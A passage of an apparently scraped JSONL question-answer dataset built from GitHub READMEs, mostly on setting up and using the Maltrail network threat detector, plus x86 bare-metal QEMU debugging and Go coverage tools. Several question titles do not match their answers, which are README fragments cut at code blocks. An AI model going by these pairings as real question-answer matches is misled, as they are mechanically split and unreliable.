image.\n\nStart the container with `docker run`: \n\n```sh", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829532"}
{"id": "gh_33818667b80c", "question": "How to: Start the server", "question_body": "About stamparm/maltrail", "answer": "docker run -d --name maltrail --restart=unless-stopped -p 8338:8338/tcp -p 8337:8337/udp -v /etc/maltrail.conf:/opt/maltrail/maltrail.conf:ro ghcr.io/stamparm/maltrail:latest", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829539"}
{"id": "gh_5c628c31874d", "question": "How to: Update the image regularly", "question_body": "About stamparm/maltrail", "answer": "docker stop maltrail\ndocker pull ghcr.io/stamparm/maltrail:latest\ndocker start maltrail\n```\n\nIf you need a fixed version, change the `docker run` command to not start `ghcr.io/stamparm/maltrail:latest` but for example `ghcr.io/stamparm/maltrail:0.84`\n\n... or with `docker compose`:\n\n```sh", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829544"}
{"id": "gh_eed4c07dc128", "question": "How to: Update image regularly", "question_body": "About stamparm/maltrail", "answer": "docker compose down --remove-orphans\ndocker compose build\ndocker compose up -d\n```\n\nDon't edit the `docker-compose.yml` file directly, as this will be overwritten by `git pull`.  Instead, copy it to `docker-compose.override.yml` and edit that file; it is included in this repo's `.gitignore`.  \n\nTo test that everything is up and running execute the following:\n\n```sh\nping -c 1 136.161.101.53\ncat /var/log/maltrail/$(date +\"%Y-%m-%d\").log\n```\n\n![Test](https://i.imgur.com/NYJg6Kl.png)\n\nAlso, to test the capturing of DNS traffic you can try the following:\n\n```sh\nnslookup morphed.ru\ncat /var/log/maltrail/$(date +\"%Y-%m-%d\").log\n```\n\n![Test2](https://i.imgur.com/62oafEe.png)\n\nTo stop **Sensor** and **Server** instances (if running in background) execute the following:\n\n```sh\nsudo pkill -f sensor.py\npkill -f server.py\n```\n\nAccess the reporting interface (i.e. **Client**) by visiting the http://127.0.0.1:8338 (default credentials: `admin:changeme!`) from your web browser:\n\n![Reporting interface](https://i.imgur.com/VAsq8cs.png)", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829553"}
{"id": "gh_7916a2f70300", "question": "How to: Reporting interface", "question_body": "About stamparm/maltrail", "answer": "When entering the **Server**'s reporting interface (i.e. via the address defined by options `HTTP_ADDRESS` and `HTTP_PORT`), user will be presented with the following authentication dialog. User has to enter the proper credentials that have been set by the server's administrator inside the configuration file `maltrail.conf` (Note: default credentials are `admin:changeme!`):\n\n![User login](https://i.imgur.com/WVpASAI.png)\n\nOnce inside, user will be presented with the following reporting interface:\n\n![Reporting interface](https://i.imgur.com/PZY8JEC.png)\n\nThe top part holds a sliding timeline (Note: activated after clicking the current date label and/or the calendar icon ![Calendar icon](https://i.imgur.com/NfNore9.png)) where user can select logs for past events (Note: mouse over event will trigger display of tooltip with approximate number of events for current date). Dates are grouped by months, where 4 month period of data are displayed inside the widget itself. However, by using the provided slider (i.e. ![Timeline slider](https://i.imgur.com/SNGVSaP.png)) user can easily access events from previous months.\n\n![Timeline](https://i.imgur.com/RnIROcn.png)\n\nOnce clicking the date, all events for that particular date should be loaded and represented by the client's web browser. Depending on number of events and the network connection speed, loading and display of logged events could take from couple of seconds, up to several minutes (e.g. 100,000 events takes around 5 seconds in total). For the whole processing time, animated loader will be displayed across the disabled user interface:\n\n![Loader](https://i.imgur.com/oX7Rtjo.png)\n\nMiddle part holds a summary of displayed events. `Events` box represents total number of events in a selected 24-hour period, where red line represents IP-based events, blue line represents DNS-based events and yellow line represents URL-based events. `Sources` box represents number of events per top sources in form of a stacked column chart, with total number of sources on top. `Threats` box represents percentage of top threats in form of a pie chart (Note: gray area holds all threats having each <1% in total events), with total number of threats on top. `Trails` box represents percentage of top trails in form of a pie chart (Note: gray area holds all trails having each <1% in total events), with total number of trails on top. Each of those boxes are active, hence the click on one of those will result with a more detailed graph.\n\n![Summary](https://i.imgur.com/5NFbqCb.png)\n\nBottom part holds a condensed representation of logged events in form of a paginated table. Each entry holds details for a single threat (Note: uniquely identified by a pair `(src_ip, trail)` or `(dst_ip, trail)` if the `src_ip` is the same as the `trail` as in case of attacks coming from the outside):\n\n![Single threat](https://i.imgur.com/IxPwKKZ.png)\n\nColumn `threat` holds threat's unique ID (e.g. `85fdb08d`) and color (Note: extruded from the threat's ID), `sensor` holds sensor name(s) where the event has been triggered (e.g. `blitvenica`), `events` holds total number of events for a current threat, `severity` holds evaluated severity of threat (Note: calculated based on values in `info` and `reference` columns, prioritizing malware generated traffic), `first_seen` holds time of first event in a selected (24h) period (e.g. `06th 08:21:54`), `last_seen` holds time of last event in a selected (24h) period (e.g. `06th 15:21:23`), `sparkline` holds a small sparkline graph representing threat's activity in selected period, `src_ip` holds source IP(s) of a threat (e.g. `99.102.41.102`), `src_port` holds source port(s) (e.g. `44556, 44589, 44601`), `dst_ip` holds destination IP(s) (e.g. `213.202.100.28`), `dst_port` holds destination port(s) (e.g. `80 (HTTP)`), `proto` holds protocol(s), (e.g. `TCP`), `trail` holds a blacklisted (or heuristic) entry that triggered the event(s), `info` holds more information about the threat/trail (e.g. `known attacker` for known attacker's IP addresses or `ipinfo` for known IP information service commonly used by malware during a startup), `reference` holds a source of the blacklisted entry (e.g. `(static)` for static trails or `myip.ms` for a dynamic feed retrieved from that same source) and `tags` holds user defined tags for a given trail (e.g. `APT28`).\n\nWhen moving mouse over `src_ip` and `dst_ip` table entries, information tooltip is being displayed with detailed reverse DNS and WHOIS information (Note: [RIPE](http://www.ripe.net/) is the information provider):\n\n![On mouse over IP](https://i.imgur.com/BgKchAX.png)\n\nEvent details (e.g. `src_port`, `dst_port`, `proto`, etc.) that differ inside same threat entry are condensed in form of a bubble icon (i.e. ![Ellipsis](https://raw.githubusercontent.com/stamparm/maltrail/master/html/images/ellipsis.png)). This is performed to maintain a usable reporting interface with as few rows as possible. Moving mouse over such icon will re", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829583"}
{"id": "gh_1b575ba4eb54", "question": "How to: Real-life cases", "question_body": "About stamparm/maltrail", "answer": "In the following section some of the \"usual suspects\" scenarios will be described through the real-life cases.\n\n#### Mass scans\n\nMass scans are a fairly common phenomenon where individuals and/or organizations give themselves a right to scan the whole 0.0.0.0/0 IP range (i.e. whole Internet) on a daily basis, with disclaimer where they say that if you don't like it then you should contact them privately to be skipped from future scans. \n\n![Shodan FileZilla results](https://i.imgur.com/nwOwLP9.png)\n\nTo make stuff worse, organizations as [Shodan](https://www.shodan.io/) and [ZoomEye](http://www.zoomeye.org) give all results freely available (to other potential attackers) through their search engine. In the following screenshots you'll see details of Shodan scans in one single day.\n\nHere is a reverse DNS and WHOIS lookup of the \"attacker\"'s address:\n\n![Shodan 1](https://i.imgur.com/LQ6Vu00.png)\n\nWhen hovering mouse pointer over the `trail` column's content (IP address), you'll be presented with the search results from [searX](https://searx.nixnet.services/) where you'll be able to find more information about the \"attacker\":\n\n![Shodan 2](https://i.imgur.com/vIzB8bA.png)\n\nIn the `dst_ip` column, if you have a large organization, you'll be presented with large list of scanned IP addresses:\n![Shodan 3](https://i.imgur.com/EhAtXs7.png)\n\nIn the `dst_port` column you'll be able to see all ports that have been scanned by such mass scans:\n\n![Shodan 4](https://i.imgur.com/Wk8Xjhq.png)\n\nIn other similar situations you'll see the same behaviour, coming from blacklisted individual attacker(s) (in this case by [cinsscore.com](http://cinsscore.com/)):\n\n![Known attacker](https://i.imgur.com/wSOOnQM.png)\n\nOne more common behaviour is scanning of the whole 0.0.0.0/0 IP range (i.e. Internet) in search for one particular port (e.g. TCP port 443 when [Heartbleed](http://heartbleed.com/) has been found). In the following screenshot you'll find one such case for previously blacklisted attacker(s) (in this case by [alienvault.com](http://alienvault.com) and two other blacklists) targeting the UDP port 5060 (i.e. SIP) in search for [misconfigured VoIP devices](https://isc.sans.edu/diary/Targeting+VoIP%3A+Increase+in+SIP+Connections+on+UDP+port+5060/9193):\n\n![SIP scan](https://i.imgur.com/dkJfU86.png)\n\n#### Anonymous attackers\n\nTo spot the potential attackers hidden behind the [Tor](https://www.torproject.org/) anonymity network, Maltrail utilizes publicly available lists of Tor exit nodes. In the following screenshot you'll see a case where potential attacker has been utilizing the Tor network to access the web target (over HTTP) in our organization's range in suspicious way (total 171 connection requests in 10 minutes):\n\n![Tor attacker](https://i.imgur.com/dXF8r2K.png)\n\n#### Service attackers\n\nFairly similar case to the previous one is when previously blacklisted attacker tries to access particular (e.g. non-HTTP(s)) service in our organization's range in rather suspicious way (i.e. total 1513 connection attempts in less than 15 minutes):\n\n![RDP brute force](https://i.imgur.com/Oo2adCf.png)\n\nIf we enter the `ssh attacker` to the `Filter` field, we'll be able to see all similar occurrences for that day, but in this case for port 22 (i.e. SSH):\n\n![SSH attackers filter](https://i.imgur.com/oCv42jd.png)\n\n#### Malware\n\nIn case of connection attempts coming from infected computers inside our organization toward already known C&C servers, you'll be able to find threats similar to the following (in this case [Beebone](https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32/Beebone)):\n\n![beebone malware](https://i.imgur.com/GBLWISo.png)\n\nIn case of DNS requests containing known [DGA](https://en.wikipedia.org/wiki/Domain_generation_algorithm) domain names, threat will be shown like (in this case [Necurs](https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32/Necurs)):\n\n![necurs malware](https://i.imgur.com/8tWj2pm.png)\n\nIn the following case file downloads from blacklisted (in this case by [malwarepatrol.net](https://malwarepatrol.net/)) URL(s) have occurred:\n\n![malware download](https://i.imgur.com/g2NH7sT.png)\n\nIf we enter the particular malware name (in this case [Ramnit](https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fRamnit)) into the `Filter` field, only threats that are known to be linked to this malware will be filtered in (showing you all affected internal computers):\n\n![ramnit malware](https://i.imgur.com/zcoPnZk.png)\n\nMore generally, if we enter the `malware` into the `Filter` field, all threats that have been found by malware(-related) trails (e.g. `IP` addresses) will be filtered in:\n\n![malware filter](https://i.imgur.com/gVYAfSU.png)\n\n#### Suspicious domain lookups\n\nMaltrail uses the static list of TLD [domains](https://github.com/stamparm/maltrail/blob/master/trails/static/suspicious/domain.txt) that are known to be commonly involved i", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829619"}
{"id": "gh_a104dccc6225", "question": "How to: Best practice(s)", "question_body": "About stamparm/maltrail", "answer": "1. Install Maltrail:\n\n- On **Ubuntu/Debian**\n\n    ```sh\n    sudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool\n    sudo pip3 install pcapy-ng\n    cd /tmp\n    git clone --depth 1 https://github.com/stamparm/maltrail.git\n    sudo mv /tmp/maltrail /opt\n    sudo chown -R $USER:$USER /opt/maltrail\n    ```\n    \n- On **SUSE/openSUSE**\n\n   ```sh\n   sudo zypper install gcc gcc-c++ git libpcap-devel python3-devel python3-pip procps schedtool\n   sudo pip3 install pcapy-ng\n   cd /tmp\n   git clone --depth 1 https://github.com/stamparm/maltrail.git\n   sudo mv /tmp/maltrail /opt\n   sudo chown -R $USER:$USER /opt/maltrail\n   ```\n\n2. Set working environment:\n\n    ```sh\n    sudo mkdir -p /var/log/maltrail\n    sudo mkdir -p /etc/maltrail\n    sudo cp /opt/maltrail/maltrail.conf /etc/maltrail\n    sudo nano /etc/maltrail/maltrail.conf\n    ```\n\n3. Set running environment:\n\n    * `crontab -e  # autostart server & periodic update`\n\n    ```\n    */5 * * * * if [ -n \"$(ps -ef | grep -v grep | grep 'server.py')\" ]; then : ; else python3 /opt/maltrail/server.py -c /etc/maltrail/maltrail.conf; fi\n    0 1 * * * cd /opt/maltrail && git pull\n    ```\n\n    * `sudo crontab -e  # autostart sensor & periodic restart`\n\n    ```\n    */1 * * * * if [ -n \"$(ps -ef | grep -v grep | grep 'sensor.py')\" ]; then : ; else python3 /opt/maltrail/sensor.py -c /etc/maltrail/maltrail.conf; fi\n    2 1 * * * /usr/bin/pkill -f maltrail\n    ```\n\n4. Enable as systemd services (Linux only):\n\n    ```sh\n    sudo cp /opt/maltrail/maltrail-sensor.service /etc/systemd/system/maltrail-sensor.service\n    sudo cp /opt/maltrail/maltrail-server.service /etc/systemd/system/maltrail-server.service\n    sudo systemctl daemon-reload\n    sudo systemctl start maltrail-server.service\n    sudo systemctl start maltrail-sensor.service\n    sudo systemctl enable maltrail-server.service\n    sudo systemctl enable maltrail-sensor.service\n    systemctl status maltrail-server.service && systemctl status maltrail-sensor.service\n    \n    ```\n    \n  **Note**: ```/maltrail-sensor.service``` can be started as dedicated service without pre-started ```/maltrail-server.service```. This is useful for case, when ```/maltrail-server.service``` is installed and works on another machine in you network environment.", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 8142, "answer_score": 10, "has_code": true, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829631"}
{"id": "gh_364c94e22f03", "question": "How to: Developers", "question_body": "About stamparm/maltrail", "answer": "* Miroslav Stampar ([@stamparm](https://github.com/stamparm))\n* Mikhail Kasimov ([@MikhailKasimov](https://github.com/MikhailKasimov))", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829638"}
{"id": "gh_3060aebff128", "question": "How to: Presentations", "question_body": "About stamparm/maltrail", "answer": "* 47th TF-CSIRT Meeting, Prague (Czech Republic), 2016 ([slides](https://www.terena.org/activities/tf-csirt/meeting47/M.Stampar-Maltrail.pdf))", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829643"}
{"id": "gh_2e3c515b12b8", "question": "How to: Publications", "question_body": "About stamparm/maltrail", "answer": "* Detect attacks on your network with Maltrail, Linux Magazine, 2022 ([Annotation](https://www.linux-magazine.com/Issues/2022/258/Maltrail))\n* Best Cyber Threat Intelligence Feeds ([SilentPush Review, 2022](https://www.silentpush.com/blog/best-cyber-threat-intelligence-feeds))\n* Research on Network Malicious Traffic Detection System Based on Maltrail ([Nanotechnology Perceptions, ISSN 1660-6795, 2024](https://nano-ntp.com/index.php/nano/article/view/1915/1497))", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829648"}
{"id": "gh_6526da3304cf", "question": "How to: Third-party integrations", "question_body": "About stamparm/maltrail", "answer": "* [FreeBSD Port](https://www.freshports.org/security/maltrail)\n* [OPNSense Gateway Plugin](https://github.com/opnsense/plugins/pull/1257)\n* [D4 Project](https://www.d4-project.org/2019/09/25/maltrail-integration.html)\n* [BlackArch Linux](https://github.com/BlackArch/blackarch/blob/master/packages/maltrail/PKGBUILD)\n* [Validin LLC](https://x.com/ValidinLLC/status/1719666086390517762)\n* [Maltrail Add-on for Splunk](https://splunkbase.splunk.com/app/7211)\n* [Maltrail decoder and rules for Wazuh](https://github.com/MikhailKasimov/maltrail-wazuh-decoder-and-rules)\n* [GScan](https://github.com/grayddq/GScan)\n1\n* [MalwareWorld](https://www.malwareworld.com/)\n1\n* [oisd | domain blocklist](https://oisd.nl/?p=inc)\n1\n* [NextDNS](https://github.com/nextdns/metadata/blob/e0c9c7e908f5d10823b517ad230df214a7251b13/security/threat-intelligence-feeds.json)\n1\n* [NoTracking](https://github.com/notracking/hosts-blocklists/blob/master/SOURCES.md)\n1\n* [OWASP Mobile Audit](https://github.com/mpast/mobileAudit#environment-variables)\n1\n* [Mobile-Security-Framework-MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/12b07370674238fa4281fc7989b34decc2e08876)\n1\n* [pfBlockerNG-devel](https://github.com/pfsense/FreeBSD-ports/blob/devel/net/pfSense-pkg-pfBlockerNG-devel/files/usr/local/www/pfblockerng/pfblockerng_feeds.json)\n1\n* [Sansec eComscan](https://sansec.io/kb/about-ecomscan/ecomscan-license)\n1\n* [Palo Alto Networks Cortex XSOAR](https://xsoar.pan.dev/docs/reference/integrations/github-maltrail-feed)\n2\n1\nUsing (only) trails\n2\nConnector to trails (only)", "tags": ["stamparm"], "source": "github_gists", "category": "stamparm", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 8142, "answer_score": 10, "has_code": false, "url": "https://github.com/stamparm/maltrail", "collected_at": "2026-01-17T12:55:16.829658"}
{"id": "gh_f700224dd77a", "question": "How to: sudo docker rm xbme", "question_body": "About cirosantilli/x86-bare-metal-examples", "answer": "....\n\nThen proceed normally in the guest: install packages, and build:\n\n....\napt-get update && \\\napt-get install -y git && \\\ngit clone https://github.com/cirosantilli/x86-bare-metal-examples && \\\ncd x86-bare-metal-examples && \\\n./configure -y && \\\nmake\n....\n\nTo overcome the lack of GUI, we can use QEMU's VNC implementation instead of the default SDL, which is visible on the host due to `--net=host`:\n\n....\n./run bios_hello_world run -vnc :0\n....\n\nand then on host:\n\n....\nsudo apt-get install vinagre\nvinagre localhost:5900\n....\n\nTODO: get sound working from docker: <\n>: https://stackoverflow.com/questions/41083436/how-to-play-sound-in-a-docker-container\n\nIt should also be possible to run a GUI inside the container, but I haven't tested: https://stackoverflow.com/questions/40658095/how-to-open-ubuntu-gui-inside-a-docker-image/57636624#57636624\n\n=== GDB step debug\n\nTo GDB step debug the program, run it with:\n\n....\n./run bios_hello_world debug\n....\n\nThis will leave you at the very first instruction executed by our program, which is the beginning of our `BEGIN` macro.\n\nNote however that this is not the very first instruction QEMU executes: that will actually be BIOS setup code that runs before our program itself.\n\nYou can then basically debug as you would a normal userland program, notably:\n\n* I then highly recommend that you use https://github.com/cyrus-and/gdb-dashboard[GDB Dashboard] to see what is going on.\n* `n` skips over macros\n* `ni` steps within macros. But you will need to enable the printing of assembly code on GDB Dashboard to see where you are at\n\nWith this God-like GDB Dashboard setup, at 89cbe7be83f164927caebc9334bc42990e499cb1 I see a perfect program view such as:\n\n....\n 1 /* https://github.com/cirosantilli/x86-bare-metal-examples#bios-hello-world */\n 2\n 3 #include \"common.h\"\n 4 BEGIN\n 5     mov $msg, %si\n 6     mov $0x0e, %ah\n 7 loop:\n 8     lodsb\n 9     or %al, %al\n10     jz halt\n11     int $0x10\n12     jmp loop\n─── Assembly ────────────────────────────────────────────────────────────────────────────\n0x00007c00 __start+0  cli\n0x00007c01 __start+1  ljmp   $0xc031,$0x7c06\n0x00007c08 __start+8  mov    %eax,%ds\n0x00007c0a __start+10 mov    %eax,%es\n0x00007c0c __start+12 mov    %eax,%fs\n0x00007c0e __start+14 mov    %eax,%gs\n0x00007c10 __start+16 mov    %eax,%ebp\n0x00007c12 __start+18 mov    %eax,%ss\n0x00007c14 __start+20 mov    %ebp,%esp\n─── Registers ───────────────────────────────────────────────────────────────────────────\n   eax 0x0000aa55    ecx 0x00000000    edx 0x00000080    ebx 0x00000000    esp 0x00006f04\n   ebp 0x00000000    esi 0x00000000    edi 0x00000000    eip 0x00007c00 eflags [ IF ]    \n    cs 0x00000000     ss 0x00000000     ds 0x00000000     es 0x00000000     fs 0x00000000\n    gs 0x00000000\n─── Stack ───────────────────────────────────────────────────────────────────────────────\n[0] from 0x00007c00 in __start+0 at bios_hello_world.S:4\n(no arguments)\n─────────────────────────────────────────────────────────────────────────────────────────\n>>>\n....\n\nDebug symbols are obtained by first linking ELF files, and then using `objcopy` on them to generate the final image. We then pass the ELF files with the debug information to GDB:  https://stackoverflow.com/questions/32955887/how-to-disassemble-16-bit-x86-boot-sector-code-in-gdb-with-x-i-pc-it-gets-tr/32960272#32960272\n\nHow to step over `int` calls: http://stackoverflow.com/questions/24491516/how-to-step-over-interrupt-calls-when-debugging-a-bootloader-bios-with-gdb-and-q\n\nSingle stepping until a given opcode can be helpful sometimes: https://stackoverflow.com/questions/14031930/break-on-instruction-with-specific-opcode-in-gdb/31249378#31249378\n\nTODO: detect if we are on 16 or 32 bit automatically from control registers. Now I'm using 2 functions `16` and `32` to switch manually, but that sucks. The problem is that it's not possible to read them directly: http://stackoverflow.com/a/31340294/895245 If we had `cr0`, it would be easy to do with an `if cr0 & 1` inside a hook-stop.\n\nTODO: Take segmentation offsets into account: http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb\n\n=== Build the documentation locally\n\n....\nmake doc\nxdg-open README.html\n....\n\n== Minimal examples\n\nThese are the first ones you should look at.\n\n[[printf]]\n=== Create a minimal image with printf\n\n....\nmake -C printf run\n....\n\nOutcome: QEMU window opens up, prints a few boot messages, and hangs.\n\nOur program itself does not print anything to the screen itself, just makes the CPU halt.\n\nThis example is generated with `printf` byte by byte: you can't get more minimal than this!\n\nIt basically consists of:\n\n* byte 0: a `hlt` instruction\n* bytes 1 through 509: zeroes, could be anything\n* bytes 510 and 511: mandatory magic bytes `0xAA55`, which are required for BIOS to consider our disk.\n\n=== Minimal GAS example\n\nMinimal example that just halts the CPU without using our mini-library link:common.h[]:\n\n....\n./run min\n....\n\nSource: link:min.S", "tags": ["cirosantilli"], "source": "github_gists", "category": "cirosantilli", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 5219, "answer_score": 10, "has_code": true, "url": "https://github.com/cirosantilli/x86-bare-metal-examples", "collected_at": "2026-01-17T12:55:31.358492"}
{"id": "gh_f3323b78aeac", "question": "How to: [⏫](#contents) Continuous Tests Monitoring with [codecov.io](https://app.codecov.io)", "question_body": "About nikolaydubina/go-recipes", "answer": "Track tests duration, errors, flackiness. Run JUnit test output converter and submit result to codecov.io via GitHub Action. — https://codecov.io\n\n```\ngo test -coverprofile=coverage.out -cover -json ./... | gotestsum --junitfile tests.xml\n```\nRequirements\n```\ngo install gotest.tools/gotestsum@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952360"}
{"id": "gh_48452008dbb3", "question": "How to: [⏫](#contents) Make treemap of coverage with [go-cover-treemap](https://github.com/nikolaydubina/go-cover-treemap)", "question_body": "About nikolaydubina/go-recipes", "answer": "Visualize distribution of code coverage in your project. This helps to identify code areas with high and low coverage. Useful when you have large project with lots of files and packages. This 2D \"image-hash\" of your project should be more representative than a single number. Also available at https://go-cover-treemap.io. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo test -coverprofile cover.out ./...\ngo-cover-treemap -coverprofile cover.out > out.svg\n```\nRequirements\n```\ngo install github.com/nikolaydubina/go-cover-treemap@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952387"}
{"id": "gh_1791b334abd3", "question": "How to: [⏫](#contents) Browse coverage", "question_body": "About nikolaydubina/go-recipes", "answer": "This is very helpful tool from the official Go toolchain. Similar visualization is integrated into VSCode and Goland, but can be used separately.\n\n```\ngo test -coverprofile cover.out ./...\ngo tool cover -html=cover.out\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952394"}
{"id": "gh_240779593097", "question": "How to: [⏫](#contents) Browse coverage with [gocov-html](https://github.com/matm/gocov-html)", "question_body": "About nikolaydubina/go-recipes", "answer": "Browse code coverage in statically generated HTML page. Multiple styles are supported. You may need to convert coverage report into `gocov` format. — [@matm](https://github.com/matm)\n\n```\ngocov test strings | gocov-html -t golang > strings.html\ngocov test encoding/csv strings | gocov-html -t kit > strings.html\ngocov test strings|./gocov-html -cmax 90 > strings.html # show functions with <90% coverage\n```\nRequirements\n```\ngo install github.com/axw/gocov/gocov@latest\ngo install github.com/matm/gocov-html/cmd/gocov-html@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952401"}
{"id": "gh_87921b90366d", "question": "How to: [⏫](#contents) Browse coverage with [xgo](https://github.com/xhd2015/xgo)", "question_body": "About nikolaydubina/go-recipes", "answer": "The displayed coverage is a combination of coverage and git diff. By default, only modified lines were shown. This helps to quickly locate changes that were not covered, and add tests for them incrementally. — [@xhd2015](https://github.com/xhd2015)\n\n```\nxgo tool coverage serve cover.out\n```\nRequirements\n```\ngo install github.com/xhd2015/xgo/cmd/xgo@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952408"}
{"id": "gh_f724fcc8a593", "question": "How to: [⏫](#contents) Browse coverage in terminal with [gocovsh](https://github.com/orlangure/gocovsh)", "question_body": "About nikolaydubina/go-recipes", "answer": "Browse code coverage similarly to HTML provided by official Go toolchain, but in terminal. Other notable features are package level statistics, coverage only for changed files. — [@orlangure](https://github.com/orlangure)\n\n```\ngo test -cover -coverprofile coverage.out\ngocovsh                        # show all files from coverage report\ngit diff --name-only | gocovsh # only show changed files\ngit diff | gocovsh             # show coverage on top of current diff\ngocovsh --profile profile.out  # for other coverage profile names\n```\nRequirements\n```\ngo install github.com/orlangure/gocovsh@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952415"}
{"id": "gh_29abe6338994", "question": "How to: [⏫](#contents) Pretty print coverage in terminal with [nikandfor/cover](https://github.com/nikandfor/cover)", "question_body": "About nikolaydubina/go-recipes", "answer": "It is similar to `go tool cover -html=cover.out` but in terminal. You can filter by functions, packages, minimum coverage, and more. — [@nikandfor](https://github.com/nikandfor)\n\n```\ncover\n```\nRequirements\n```\ngo install github.com/nikandfor/cover@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952422"}
{"id": "gh_78bdb5e25ed2", "question": "How to: [⏫](#contents) Run coverage collector server with [goc](https://github.com/qiniu/goc)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool allows to collect coverage as soon as code is executed. — [@qiniu](https://github.com/qiniu)\n\n```\ngoc server\ngoc build\ngoc profile\n```\nRequirements\n```\ngo install github.com/qiniu/goc@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952428"}
{"id": "gh_f9de286bd9d3", "question": "How to: [⏫](#contents) Visualize live coverage in VSCode with [goc](https://github.com/qiniu/goc)", "question_body": "About nikolaydubina/go-recipes", "answer": "Official Go VSCode plugin already has coverage highlighting. In addition to that, this tool shows covered lines as soon as they are executed. This can be useful for running manual integration or system tests or debugging. — [@qiniu](https://github.com/qiniu)\nRequirements\n```\ngo install github.com/qiniu/goc@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952434"}
